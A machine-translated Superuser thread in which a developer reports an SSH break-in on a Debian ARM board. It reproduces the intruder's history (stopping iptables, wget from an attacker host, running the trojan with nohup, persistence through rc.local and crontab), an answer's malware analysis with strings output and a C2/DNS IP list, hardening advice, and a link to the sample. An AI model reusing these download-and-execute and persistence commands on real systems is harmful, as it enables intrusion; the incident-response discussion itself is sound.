Меня только что взломали?

50869
vaid

Я разрабатываю потребительский продукт, и он должен быть подключен к Интернету, так что, как и ожидалось, он подключен к Интернету, чтобы я мог правильно его разработать.

Я ушел на час или два, и когда я вернулся в свой офис, я заметил некоторые странные команды, написанные в терминале.

Глядя на файл журнала Linux под названием, auth.logя вижу следующие строки (среди многих других):

Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2 Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

40.127.205.162Оказывается, IP-адрес принадлежит Microsoft .

Вот несколько команд, которые использовались, пока меня не было:

 355 service iptables stop 356 cd /tmp 357 wget http://222.186.30.209:65534/yjz1 358 chmod 0755 /tmp/yjz1 359 nohup /tmp/yjz1 > /dev/null 2>&1 & 360 chmod 777 yjz1 361 ./yjz1 362 chmod 0755 /tmp/yjz1 363 nohup /tmp/yjz1 > /dev/null 2>&1 & 364 chmod 0777 yjz1 365 chmod u+x yjz1 366 ./yjz1 & 367 chmod u+x yjz1 368 ./yjz1 & 369 wget http://222.186.30.209:65534/yjz 370 chmod 0755 /tmp/yjz 371 nohup /tmp/yjz > /dev/null 2>&1 & 372 chmod 777 yjz 373 ./yjz 374 chmod 0755 /tmp/yjz 375 nohup /tmp/yjz > /dev/null 2>&1 & 376 chmod u+x yjz 377 ./yjz & 378 chmod u+x yjz 379 ./yjz & 380 cd /tmp 381 echo "cd /tmp/">>/etc/rc.local 382 service iptables stop 383 cd /tmp 384 wget http://222.186.30.209:65534/yjz1 385 chmod 0755 /tmp/yjz1 386 nohup /tmp/yjz1 > /dev/null 2>&1 & 387 chmod 777 yjz1 388 ./yjz1 389 chmod 0755 /tmp/yjz1 390 nohup /tmp/yjz1 > /dev/null 2>&1 & 391 chmod u+x yjz1 392 ./yjz1 & 393 chmod 0777 yjz1 394 ./yjz1 & 395 echo "cd /tmp/">>/etc/rc.local 396 service iptables stop 397 wget http://222.186.30.209:65534/yjz1 398 chmod 0755 /root/yjz1 399 nohup /root/yjz1 > /dev/null 2>&1 & 400 chmod 777 yjz1 401 ./yjz1 402 chmod 0755 /root/yjz1 403 nohup /root/yjz1 > /dev/null 2>&1 & 404 chmod u+x yjz1 405 ./yjz1 & 406 chmod 0777 yjz1 407 ./yjz1 & 408 echo "cd /root/">>/etc/rc.local 409 cd /tmp 410 service iptables stop 411 wget http://222.186.30.209:65534/yjz1 412 chmod 0755 /tmp/yjz1 413 nohup /tmp/yjz1 > /dev/null 2>&1 & 414 chmod 777 yjz1 415 ./yjz1 & 416 cd /etc 417 echo "cd /root/">>/etc/rc.local 418 echo "./yjz1&">>/etc/rc.local 419 echo "./yjz1&">>/etc/rc.local 420 echo "/etc/init.d/iptables stop">>/etc/rc.local 421 cd /tmp 422 service iptables stop 423 wget http://222.186.30.209:65534/yjz1 424 chmod 0755 /tmp/yjz1 425 nohup /tmp/yjz1 > /dev/null 2>&1 & 426 chmod 777 yjz1 427 ./yjz1 & 428 cd /etc 429 echo "cd /root/">>/etc/rc.local 430 echo "./yjz1&">>/etc/rc.local 431 echo "./yjz1&">>/etc/rc.local 432 echo "/etc/init.d/iptables stop">>/etc/rc.local 433 cd /tmp 434 service iptables stop 435 wget http://222.186.30.209:65534/yjz1 436 chmod 0755 /tmp/yjz1 437 nohup /tmp/yjz1 > /dev/null 2>&1 & 438 chmod 777 yjz1 439 ./yjz1 & 440 cd /etc 441 echo "cd /root/">>/etc/rc.local 442 echo "./yjz1&">>/etc/rc.local 443 echo "./yjz1&">>/etc/rc.local 444 echo "/etc/init.d/iptables stop">>/etc/rc.local 445 service iptables stop 446 wget http://222.186.30.209:65534/yjz1 447 chmod 0755 /root/yjz1 448 nohup /root/yjz1 > /dev/null 2>&1 & 449 chmod 777 yjz1 450 ./yjz1 451 chmod 0755 /root/yjz1 452 nohup /root/yjz1 > /dev/null 2>&1 & 453 chmod 0777 yjz1 454 chmod u+x yjz1 455 ./yjz1 & 456 chmod u+x yjz1 457 ./yjz1 &

И больше:

 481 service iptables stop 482 wget http://222.186.30.209:65534/yjz1 483 chmod 0755 /root/yjz1 484 nohup /root/yjz1 > /dev/null 2>&1 & 485 chmod 777 yjz1 486 ./yjz1 487 chmod 0755 /root/yjz1 488 nohup /root/yjz1 > /dev/null 2>&1 & 489 chmod 0777 yjz1 490 chmod u+x yjz1 491 ./yjz1 & 492 chmod u+x yjz1 493 ./yjz1 & 494 cd /tmp 495 service iptables stop 496 wget http://175.102.133.55:2/yjz 497 ./yd_cd/make 498 service iptables stop 499 service iptables stop 500 wget http://222.186.30.209:65534/yjz1

Я был совершенно не в курсе этого. Как правильно защитить свой продукт?

Я хотел бы опубликовать полный auth.logфайл. Как я могу это сделать?

Кроме того yjz1, загруженный файл, по-видимому, является трояном Linux, и все это, похоже, делается какой-то хакерской группой в соответствии с http://anti-hacker-alliance.com/index.php?ip=40.127.205.162.

Должен ли я позвонить в Microsoft и поговорить с ними? Что я должен делать?

486
Да, это выглядит не слишком хорошо. Я ни в коем случае не эксперт в Linux, но кое-что определенно пыталось выполнить там. Я не совсем уверен, как, хотя, похоже, он попытался войти в систему как root и не удалось. Есть ли другие журналы в вашем auth.log? Любые другие средства удаленного администратора? Я видел, как Mac с включенным VNC-сервером взломали раньше, хотя это выглядит как попытка SSH. Похоже, что IP-адреса, с которых он скачивал файлы, находятся где-то в Китае. Jonno 8 лет назад 40
Атака фактически пришла из Китая. David Schwartz 8 лет назад 3
Да, но что делает принадлежащий Microsoft IP, пытаясь взломать устройство через Интернет? vaid 8 лет назад 0
Вы получили грубую принуждение. Вот почему вы не оставляете ssh-сервер в интернете, даже если у вас есть пароль. Что-либо, кроме аутентификации на основе ключей, недостаточно безопасно в наши дни. Journeyman Geek 8 лет назад 68
Вы можете стать жертвой вторичной атаки через взломанную систему Microsoft, в зависимости от того, насколько серьезными являются эти хакеры. Возможно IP Spoofing тоже? Но, как говорится в предыдущем комментарии, рекомендуется только аутентификация на основе ключей. Sam3000 8 лет назад 2
Так, где я могу прочитать больше о безопасности? vaid 8 лет назад 1
Ну, у нас есть http://security.stackexchange.com/. Но обо всем по порядку: скомпрометированному хосту больше нельзя доверять. Сними его с сети. Если возможно, сделайте резервную копию, чтобы вы могли изучить, что было сделано и как это было сделано. Далее переустановите ОС из чистого источника. Восстановите данные из резервных копий. ** Защитите систему **, чтобы вы не заразиться снова. Узнать, как они попали, очень рекомендуется. (Отсюда и рекомендация сделать копию зараженной системы). Hennes 8 лет назад 80
Учитывая атаку грубой силой, рассмотрите логины паролей. Если вы оставите их включенными, убедитесь, что нет слабых паролей. (Как уже упоминалось, на основе ключей лучше. Если вы и другие могут переключиться на них: отлично. Если нет, убедитесь, что никто не использует «1234» «пароль» «admin» или подобные слабые пароли. Hennes 8 лет назад 1
Хорошо, большое спасибо. Я сделаю это. Кто-нибудь из вас готов посмотреть на это со мной? Мне может понадобиться кто-то, чтобы отразить это. Сама система в основном является урезанной версией Debian для процессоров ARMHF. Ничего экстремально сложного. vaid 8 лет назад 0
Я рекомендую настроить стук портов для всего доступа к обслуживанию / разработке. Таким образом, все ваши обычные порты кажутся закрытыми, и люди довольно быстро теряют интерес к вашему устройству. Значит, меньшая пропускная способность теряется для атак. По крайней мере, если ваш сервис достаточно безопасен. Run CMD 8 лет назад 3
`ossec-hids` - еще один полезный инструмент для аудита безопасности. Wayne Werner 8 лет назад 1
Обычно вы должны отключить root ssh login в файле конфигурации sshd. Вы всегда можете войти в свою обычную учетную запись и использовать su / sudo, чтобы стать суперпользователем. Kevin Evans 8 лет назад 1
К вашему сведению: 40.127.205.162 - это ** Microsoft Azure ** IP-адрес в соответствии с GeoIP. Следовательно, вы не можете обвинить Microsoft в атаке - это равносильно обвинению Amazon, потому что кто-то использовал EC2 для спама. Единственное, что Microsoft действительно может сделать, это выгнать злоумышленников из Azure, но они быстро вернутся на другую облачную платформу. nneonneo 8 лет назад 84
Это малиновый пи? Я предполагаю, так как вы используете ARM-версию Debian. Если это так, вы можете стереть SD-карту и начать все сначала. И убедитесь, что вы изменили имя пользователя и пароль по умолчанию. Kryten 8 лет назад 0
@Vaid - не ответ на ваш вопрос - но он смутно по теме - я настоятельно рекомендую смотреть этот сеанс с Build 2015 для всех, кто создает продукты для потребителей, которые подключаются к Интернету: https: //channel9.msdn. ru / Events / Build / 2015 / 2-625 - Вы можете не обращать на это внимания, поскольку в названии есть Azure, но рассматриваемые концепции довольно высокого уровня и хорошо переводятся. :-) BrainSlugs83 8 лет назад 2
Странно, что хакер не пытался скрыть свои действия, редактируя историю. user1751825 8 лет назад 3
«Я заметил некоторые странные команды, написанные в терминале» - это странно, обычно каждое соединение SSH получает отдельный терминал. user20574 8 лет назад 6
@ClassStacker Я посмотрю, как портится. vaid 8 лет назад 0
@KevinEvans Я отключу root ssh, так как он не нужен в моем приложении. vaid 8 лет назад 0
@nneonneo Я этого не знал, но все равно связался с Microsoft, просто чтобы сообщить им vaid 8 лет назад 0
@Kryten Нет, это Olimex A10 Lime 4GB с NAND-вспышкой на борту. vaid 8 лет назад 0
@ BrainSlugs83, что очень актуально для моего текущего проекта. Спасибо! vaid 8 лет назад 1
@ user1751825 да, я тоже так думаю. Я предполагаю, что он / она никогда не зашел достаточно далеко в процессе, чтобы сделать это. vaid 8 лет назад 1
@ user20574 да, это действительно странно. Сначала я подумал, что мой Mac был взломан. Я думаю, что я мог видеть команды, потому что мы оба вошли в систему как root. vaid 8 лет назад 1
«Я заметил несколько странных команд, написанных в терминале»: они были видны на терминале «_» и в истории bash? Как вы впервые заметили это? Я не вижу, как ssh-сессия может писать на ваш конкретный терминал. isanae 8 лет назад 7
Фактически, если это было написано в вашем терминале, хакер, вероятно, сидит в следующей секции. isanae 8 лет назад 41
Прежде чем делать что-либо, что может поставить под угрозу ваши журналы, сделайте снимок экрана и отправьте снимок в агентство по киберпреступности в вашей стране. Предполагая, что вы находитесь в США, это агентство ФБР. Они могут не расследовать, но вы никогда не знаете. На самом деле, если вы позже будете взломаны, и они могут связать оба инцидента с одним и тем же хакером или группой, это может дать дополнительный стимул для судебного преследования. moonman239 8 лет назад 1
@isanae Это просто написать на терминале. Это был не этот пример, но достаточно `эхо Ohhhii | sudo напишите $ USER pts / 9` для записи в терминал 9 (`tty` может дать вам текущий _tty_, если вы хотите попробовать). Программы, которые запускаются от имени пользователя root, не нуждаются в _sudo_. Кстати, есть много журналов, особенно журналов безопасности, которые могут быть записаны на всех терминалах, или это может быть скрипт, который не был полностью выполнен (или выполнен), который перенаправляет некоторый вывод на фиксированный tty ... Hastur 8 лет назад 2
Прежде всего, не оставляйте ваш компьютер без присмотра в открытом сеансе root! MariusMatutiae 8 лет назад 7
Кстати, как вы, ребята, говорите о SSH-аутентификациях на основе ключей? Вы имеете в виду ключ в смысле клавиатуры на основе? или на основе закрытого / открытого ключа? Так как я делаю второе, и теперь мне интересно, С каких это пор считается небезопасным ?! Zaibis 8 лет назад 0
Архивируйте все данные на скомпрометированной машине, сотрите ее и восстановите систему с более строгими мерами безопасности. Изучите архивированные данные и найдите любую информацию, которая может быть использована для определения источника и характера атаки. bwDraco 8 лет назад 1
@isanae Я заметил команды на моем терминале SSH на компьютере Mac, который был подключен к моей плате разработчика (которая подверглась атаке) через SSH. Так что взломали мою доску разработчиков, а не мой Mac, однако и я, и злоумышленник были зарегистрированы на плате разработчиков как root. Поэтому независимо от того, где и кем вы являетесь, как только вы войдете в систему как root, вы сможете увидеть всю историю корней. Правильно? vaid 8 лет назад 0
@ moonman239 к сожалению, я в Швеции, и эквивалент ФБР называется SÄPO. Я не знаю, будет ли им интересно, они, вероятно, знают об этом. Но могу ли я ошибаться? vaid 8 лет назад 0
@isanae хорошо, тогда я думаю, моя мама - хакер. И кабина должна быть нашей гостиной. Я управляю своей компанией, не выходя из дома, поэтому не думаю, что злоумышленник имел физический доступ к моему компьютеру. vaid 8 лет назад 12
Вы не можете больше доверять этой установке. Должен быть полностью переустановлен с нуля. Thorbjørn Ravn Andersen 8 лет назад 0
Это просто прокси-сервер, который передает свое состояние другим прокси в ботнете. Flash Thunder 8 лет назад 0
Ваш сайт * все еще * содержит вредоносное ПО по адресу http: //222.186.30.209: 65534 / yjz. Я не уверен, почему вы еще не удалили его? Если вы не можете удалить его, отключите сервер от Интернета. NickG 8 лет назад 0
@NickG Мм, 222.186.30.209:65534 это не его сайт. Именно здесь злоумышленник размещал скрипты, которые он загружал на компьютер ОП. Ajedi32 8 лет назад 2
@ Ajedi32 - извините, я неправильно понял. NickG 8 лет назад 0
Большое спасибо за увлекательное чтение. Я обнаружил, что полезные данные больше не доступны для скачивания. Где может бедный студент с минимальными связями (пока!) Найти их для анализа? Tim G 8 лет назад 0
@ TimG У меня есть копия прямо здесь на моем компьютере вместе с журналами. Я не знаю, где я могу загрузить их и поделиться ими. Если у кого-то есть идеи, дайте мне знать. vaid 8 лет назад 0
Dropbox, Google Drive, личная почта. Я мог видеть, что Dropbox или Google Drive убивают его, так что, возможно, он прошел бы через tar -czf'd. Вы также можете разместить его на своем ящике, установив свободно передаваемую паролем непривилегированную учетную запись ssh в папку chrooted; тогда люди могли бы узнать это от вас. Tim G 8 лет назад 0
http://allanfeid.com/content/creating-chroot-jail-ssh-access Tim G 8 лет назад 0
@nneonneo: также официальный [список диапазонов IP-адресов Microsoft Azure Datacenter] (https://www.microsoft.com/en-us/download/details.aspx?id=41653) показывает диапазон, содержащий адрес 40.127.205.162: ** 40.127.192.0 / 18 **. pabouk 8 лет назад 1
@TimG вот ссылка на двоичный файл. это на молнии. https://drive.google.com/folderview?id=0BzXsxVbvw8tgRTdOczZVQjhoWmc&usp=sharing vaid 8 лет назад 1
Это похоже на чтение крипасты для разработчиков, я знаю, что это не связано с решением, но я _grabs popcorn_ Dheeraj 8 лет назад 0
Не могли бы вы опубликовать этот инцидент на http://cert.microsoft.com/report.aspx (обратите внимание, я не работаю в команде CERT) .. Shawn Cicoria - MSFT 8 лет назад 0
@ ShawnCicoria-MSFT У меня уже есть. Я даже поставил журналы и троян, все аккуратно застегнутые и помеченные. Я не получил никакого ответа. vaid 8 лет назад 0
Если вы увидели команды на экране, хакер мог использовать программу удаленного рабочего стола или набрать их на клавиатуре. Frank R. 6 лет назад 0

9 ответов на вопрос

481
MariusMatutiae

EDIT 2:

there is one good reason why this post is attracting so much attention: you managed to record the whole, live session of an intruder on your PC. This is very different from our everyday experience, where we deal with the discovery of the consequences of his actions and try to redress them. Here we see him at work, see him having some problems with establishing the backdoor, retrace his steps, work feverishly (perhaps because he was sitting at your desk, as suggested above, or perhaps, and in my opinion more likely, because he was unable to make his malware run on the system, read below), and try to deploy fully self-contained instruments of control. This is what security researchers witness daily with their honey traps. For me, this is a very rare chance, and the source of some amusement.

You have definitely been hacked. The evidence for this does not come from the snippet of the auth.log file you displayed, because this reports an unsuccessful login attempt, occurring over a short time span (two secs). You will notice that the second line states Failed password, while the third one reports a pre-auth disconnect: the guy tried and failed.

The evidence comes instead from the content of the two files http://222.186.30.209:65534/yjz and http://222.186.30.209:65534/yjz1 which the attacker downloaded onto your system.

The site is currently open to anyone to download them, which I did. I first ran file on them, which showed:

$ file y* yjz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped yjz1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Then I brought them onto a 64-bit Debian VM I have; an examination of their content thru the strings command revealed much that was suspicious (reference to various well-known attacks, to commands to be substituted for, a script that was clearly used to set up a new service, and so on).

I then produced the MD5-hashes of both files, and fed them to Cymru's hash database to see whether they are known agents of malware. While yjz is not, yjz1 is, and Cymru reports a probability of detection by anti-virus software of 58%. It also states that this file was last seen some three days ago, so it is reasonably recent.

Running clamscan (part of the clamav package) on the two files I obtained: 

$ clamscan y* yjz: Linux.Backdoor.Gates FOUND yjz1: Linux.Trojan.Xorddos FOUND

so we are now certain that standard Linux software can identify it.

What should you do?

Though rather new, neither system is very new, see this Jan. 2015 article on XorDdos, for instance. So most free packages should be able to remove it. You should try: clamav, rkhunter, chkrootkit. I have Googled around, and seen that they claim to be able to spot it. Use them to check on the predecessor's work, but after running these three programs you should be ready to go.

As for the larger question, what should you do to prevent future infections, Journeyman's answer is a good first step. Just keep in mind that it is an ongoing struggle, one that all of us (including me!) may very well have lost without even knowing it.

EDIT:

At Viktor Toth's (indirect) prompt, I would like to add a few comments. It is certainly true that the intruder encountered some difficulties: he downloads two distinct hacking tools, changes their permissions several times, restarts them several times, and tries many times to disable the firewall. It is easy to guess what is happening: he expects his hacking tools to open a communication channel toward one of his infected pcs (see later), and, when he does not see this new channel spring up on his control GUI, fears his hacking tool is being blocked by the firewall, so he repeats the installation procedure. I agree with Viktor Toth that this particular stage of his operation does not seem to bring the expected fruits, but I would like to encourage you very strongly not to underestimate the extent of the damage inflicted on your pc.

I provide here a partial output of strings yjz1: 

etc/init.d/%s /etc/rc%d.d/S90%s --del chkconfig remove update-rc.d /etc/cron.hourly/gcc4.sh /etc/rc.d/rc%d.d/S90%s --add defaults /proc/%d/exe /proc/self/exe HOME=/ MYSQL_HISTFILE=/dev/null #!/bin/sh # chkconfig: 12345 90 90 # description: %s ### BEGIN INIT INFO # Provides: %s # Required-Start: # Required-Stop: # Default-Start: 1 2 3 4 5 # Default-Stop: # Short-Description: %s ### END INIT INFO case $1 in start) stop) esac sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab etc/init.d/%s GET %s HTTP/1.1 %sHost: %s POST %s HTTP/1.1 %sHost: %s Content-Type: application/x-www-form-urlencoded Content-Length: %d %s%s Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322) Connection: Keep-Alive

This provides evidence of tampering with the services (in /etc/init.d and in /etc/rc.d), with crontab, with the history file of mysql, and a couple of files in proc which are links to bash (which suggests a custom-made fraudulent version of your shell has been planted). Then the program generates an HTTP request (to a Chinese-speaking site, 

 Accept-Language: zh-cn

which gives substance to David Schwartz's comment above), which may create even more havoc. In the request, binaries (Content-Type: application/x-www-form-urlencoded) are to be downloaded to the attacked pc (GET) and uploaded to the controlling machine (POST). I could not establish what would be downloaded to the attacked pc, but, given the small size of both yjz and yjz1 (1.1MB and 600kB, repectively), I can venture to surmise that most of the files needed to cloak the rootkit, i.e. the altered versions of ls, netstat, ps, ifconfig,..., would be downloaded this way. And this would explain the attacker's feverish attempts to get this download going.

There is no certainty that the above exhausts all possibilities: we certainly lack part of the transcript (between lines 457 and 481) and we do not see a logout; furthermore, especially worrisome are lines 495-497, 

cd /tmp; ./yd_cd/make

which refer to a file we did not see downloaded, and which might be a compilation: if so, it means the attacker has (finally?) understood what the problem with his executables was, and is trying to fix it, in which case the attacked pc has gone for good. [In fact, the two versions of the malware which the attacker downloaded onto the hacked machine (and I onto my 64bit Debian VM) are for an unsuitable architecture, x86, while the name alone of the hacked-into pc gives away the fact that he was dealing with an arm architecture].

The reason why I wrote this edit is to urge you as strongly as possible either to comb your system with a professional instrument, or to re-install from scratch.

And, by the way, should this prove useful to anyone, this is the list of of the 331 IP addresses to which yjz tries to connect. This list is so large (and probably destined to become larger still) that I believe this is the reason for tampering with mysql. The list provided by the other backdoor is identical, which, I presume, is the reason for leaving such an important piece of information out in the open (I think the attacker did not wish to make the effort to store them in kernel format, so he put the whole list in a clear-text file, which is probably read-in by all of his backdoors, for whichever OS): 

61.132.163.68 202.102.192.68 202.102.213.68 202.102.200.101 58.242.2.2 202.38.64.1 211.91.88.129 211.138.180.2 218.104.78.2 202.102.199.68 202.175.3.3 202.175.3.8 202.112.144.30 61.233.9.9 61.233.9.61 124.207.160.110 202.97.7.6 202.97.7.17 202.106.0.20 202.106.46.151 202.106.195.68 202.106.196.115 202.106.196.212 202.106.196.228 202.106.196.230 202.106.196.232 202.106.196.237 202.112.112.10 211.136.17.107 211.136.28.231 211.136.28.234 211.136.28.237 211.147.6.3 219.141.136.10 219.141.140.10 219.141.148.37 219.141.148.39 219.239.26.42 221.130.32.100 221.130.32.103 221.130.32.106 221.130.32.109 221.130.33.52 221.130.33.60 221.176.3.70 221.176.3.73 221.176.3.76 221.176.3.79 221.176.3.83 221.176.3.85 221.176.4.6 221.176.4.9 221.176.4.12 221.176.4.15 221.176.4.18 221.176.4.21 58.22.96.66 218.104.128.106 202.101.98.55 211.138.145.194 211.138.151.161 211.138.156.66 218.85.152.99 218.85.157.99 222.47.29.93 202.101.107.85 119.233.255.228 222.47.62.142 122.72.33.240 211.98.121.27 218.203.160.194 221.7.34.10 61.235.70.98 113.111.211.22 202.96.128.68 202.96.128.86 202.96.128.166 210.21.3.140 210.21.4.130 211.95.193.97 211.98.2.4 211.98.4.1 211.162.61.225 211.162.61.235 211.162.61.255 211.162.62.1 211.162.62.60 221.4.66.66 202.103.176.22 202.96.144.47 210.38.192.33 202.96.134.33 202.96.134.133 202.96.154.15 210.21.196.6 221.5.88.88 202.103.243.112 202.193.64.33 61.235.164.13 61.235.164.18 202.103.225.68 221.7.136.68 202.103.224.68 211.97.64.129 211.138.240.100 211.138.242.18 211.138.245.180 221.7.128.68 222.52.118.162 202.98.192.67 202.98.198.167 211.92.136.81 211.139.1.3 211.139.2.18 202.100.192.68 211.97.96.65 211.138.164.6 221.11.132.2 202.100.199.8 202.99.160.68 202.99.166.4 202.99.168.8 222.222.222.222 202.102.224.68 202.102.227.68 222.85.85.85 222.88.88.88 210.42.241.1 202.196.64.1 112.100.100.100 202.97.224.68 219.235.127.1 61.236.93.33 211.93.24.129 211.137.241.34 219.147.198.230 202.103.0.68 202.103.0.117 202.103.24.68 202.103.44.150 202.114.0.242 202.114.240.6 211.161.158.11 211.161.159.3 218.104.111.114 218.104.111.122 218.106.127.114 218.106.127.122 221.232.129.30 59.51.78.210 61.234.254.5 202.103.96.112 219.72.225.253 222.243.129.81 222.246.129.80 211.142.210.98 211.142.210.100 220.168.208.3 220.168.208.6 220.170.64.68 218.76.192.100 61.187.98.3 61.187.98.6 202.98.0.68 211.93.64.129 211.141.16.99 202.98.5.68 219.149.194.55 211.138.200.69 202.102.3.141 202.102.3.144 58.240.57.33 112.4.0.55 114.114.114.114 114.114.115.115 202.102.24.34 218.2.135.1 221.6.4.66 221.131.143.69 202.102.8.141 222.45.0.110 61.177.7.1 218.104.32.106 211.103.13.101 221.228.255.1 61.147.37.1 222.45.1.40 58.241.208.46 202.102.9.141 202.102.7.90 202.101.224.68 202.101.226.68 211.141.90.68 211.137.32.178 202.96.69.38 211.140.197.58 219.149.6.99 202.96.86.18 101.47.189.10 101.47.189.18 118.29.249.50 118.29.249.54 202.96.64.68 202.96.75.68 202.118.1.29 202.118.1.53 219.148.204.66 202.99.224.8 202.99.224.67 211.90.72.65 211.138.91.1 218.203.101.3 202.100.96.68 211.93.0.81 222.75.152.129 211.138.75.123 202.102.154.3 202.102.152.3 219.146.1.66 219.147.1.66 202.102.128.68 202.102.134.68 211.138.106.19 211.90.80.65 202.99.192.66 202.99.192.68 61.134.1.4 202.117.96.5 202.117.96.10 218.30.19.40 218.30.19.50 116.228.111.118 180.168.255.18 202.96.209.5 202.96.209.133 202.101.6.2 211.95.1.97 211.95.72.1 211.136.112.50 211.136.150.66 119.6.6.6 124.161.97.234 124.161.97.238 124.161.97.242 61.139.2.69 202.98.96.68 202.115.32.36 202.115.32.39 218.6.200.139 218.89.0.124 61.139.54.66 61.139.39.73 139.175.10.20 139.175.55.244 139.175.150.20 139.175.252.16 168.95.1.1 210.200.211.193 210.200.211.225 211.78.130.1 61.31.1.1 61.31.233.1 168.95.192.1 168.95.192.174 61.60.224.3 61.60.224.5 202.113.16.10 202.113.16.11 202.99.96.68 202.99.104.68 211.137.160.5 211.137.160.185 219.150.32.132 202.98.224.68 211.139.73.34 61.10.0.130 61.10.1.130 202.14.67.4 202.14.67.14 202.45.84.58 202.45.84.67 202.60.252.8 202.85.128.32 203.80.96.9 203.142.100.18 203.142.100.21 203.186.94.20 203.186.94.241 221.7.1.20 61.128.114.133 61.128.114.166 218.202.152.130 61.166.150.123 202.203.128.33 211.98.72.7 211.139.29.68 211.139.29.150 211.139.29.170 221.3.131.11 222.172.200.68 61.166.150.101 61.166.150.139 202.203.144.33 202.203.160.33 202.203.192.33 202.203.208.33 202.203.224.33 211.92.144.161 222.221.5.240 61.166.25.129 202.96.103.36 221.12.1.227 221.130.252.200 222.46.120.5 202.96.96.68 218.108.248.219 218.108.248.245 61.130.254.34 60.191.244.5 202.96.104.15 202.96.104.26 221.12.33.227 202.96.107.27 61.128.128.68 61.128.192.68 218.201.17.2 221.5.203.86 221.5.203.90 221.5.203.98 221.7.92.86 221.7.92.98

The following code

 #!/bin/bash echo 0 > out while read i; do whois $i | grep -m 1 -i country >> out done < filename cat out | grep -i cn | wc -l

on the above list shows that 302 out of a total 331 addresses are in mainland China, the remaining ones are in Hong Kong, Mongolia, Taiwan. This adds further support to David Schwartz's contention that this is mostly a Chinese bot ring.

EDIT 3

At @vaid's request (the author of the OP, read his comment below), I will add a comment about how to strengthen security of a basic Linux system (for a system providing many services, this is a far more complex topic). vaid states he did the following:

  1. Reinstall the system

  2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits.

  3. Changed the username to a 6 mixed character long username and applied the same password as used for root

  4. changed SSH port to something above 5000

  5. turned off SSH root login.

This is fine (except I use a port above 10,000 since many useful programs use the ports below 10,000). But I cannot emphasize enough the need to use cryptographic keys for ssh login, instead of passwords. I will give you a personal example. On one of my VPSes, I was uncertain whether to change the ssh port; I left it at 22, but used crypto keys for authentication. I had hundreds of break-in attempts per day, none succeeded. When, tired to check daily that no one had succeeded, I eventually switched the port to something above 10,000, break-in attempts went to zero. Mind you, it is not that hackers are stupid (they are not!), they just hunt down easier prey.

It is easy to activate a crypto key with RSA as a signature algorithm, see comment below by Jan Hudec (thanks!): 

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Now all you have to do is to copy the file id_rsa to the machine from which you want to connect (in a directory .ssh, also chmod'ed to 700), then issue the command

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

When you are sure that this works, edit on the server (=the machine you want to connect to) the file /etc/ssh/sshd_config, and change the line 

#PasswordAuthentication yes

to 

PasswordAuthentication no

and restart the ssh service (service ssh restart or systemctl restart ssh, or something like this, depending on distro).

This will withstand a lot. In fact, there are currently no known exploits against the current versions of openssh v2, and of RSA as employed by openssh v2.

Lastly, in order to really bolt down your machine, you will need to configure the firewall (netfilter/iptables) as follows:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT

This, 1) allows ssh connections from both LAN and WAN, 2) allows all input which was originated by your requests (for instance, when you load a Web page), 3) drops everything else on the input, 4) allows everything on the output, and 5-6) allows everything on the loopback interface.

As your needs grow, and more ports need to be opened, you may do so by adding, at the top of the list, rules like:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

to allow for instance people to access your Web browser.

Это было здорово читать. Я также попробовал файл `yjz1` через Googles ** VirusTotal.com **, который дал положительный результат. Я даже не видел, что `yjz` был загружен. Благодарю. vaid 8 лет назад 11
Я читаю о том, как переименовать ROOT, я заметил, что хакер пытается что-то сделать по пути `/ root /`, который я предполагаю `/`, поэтому переименование ROOT может быть краткосрочной защитой? vaid 8 лет назад 0
Моя предыдущая установка веб-сервера была повреждена с помощью xordos. Я загрузил копию для резервной копии в коробку Windows, и мой AV продолжал чистить это. Интересно, обнаружит ли Кламав это? И да, я сосредоточился на общих шагах, так как я действительно не хотел тыкать в случайно известный плохой файл / Journeyman Geek 8 лет назад 0
Будьте осторожны, запуская строки в ненадежных данных. https://lcamtuf.blogspot.com/2014/10/psa-dont-run-strings-on-untrusted-files.html Matt Nordhoff 8 лет назад 33
@MattNordhoff Спасибо за указание на это, я был в блаженном неведении об этом. Тем не менее, в моем Debian команда 'strings' проходит тест, который вы связали с летающими цветами. Я предполагаю, что это связано с тем, что в руководстве говорится: * -a ... Обычно это поведение по умолчанию *. Приветствия. MariusMatutiae 8 лет назад 5
@JourneymanGeek Да, clamav обнаруживает это, пожалуйста, прочитайте выше. Я не имел в виду ничего негативного в вашем посте, я просто хотел сказать, что ваш пост дополняет то, что вы можете прочитать в моем. MariusMatutiae 8 лет назад 0
Этот ответ демонстрирует подход, который должен быть парадигмой: 1. Не позволяйте вашему вниманию отвлекаться от неудачных попыток, будьте предупреждены. 2. Индивидуализировать успешные действия атакующего. 3. Изучите, что и как сделал злоумышленник. 4. Установите все с нуля или из последней не поврежденной (атакованной) резервной копии, добавив необходимые дополнительные средства защиты, которые вы нашли (пункт 3). 5. Помогите другим защитить себя (список скомпрометированных / подозреваемых IP). Hastur 8 лет назад 32
Наоборот, я не согласен. Я просто добавляю, что * я получил удар от той же самой вредоносной программы * и чувствую себя удивительно глупо. Journeyman Geek 8 лет назад 0
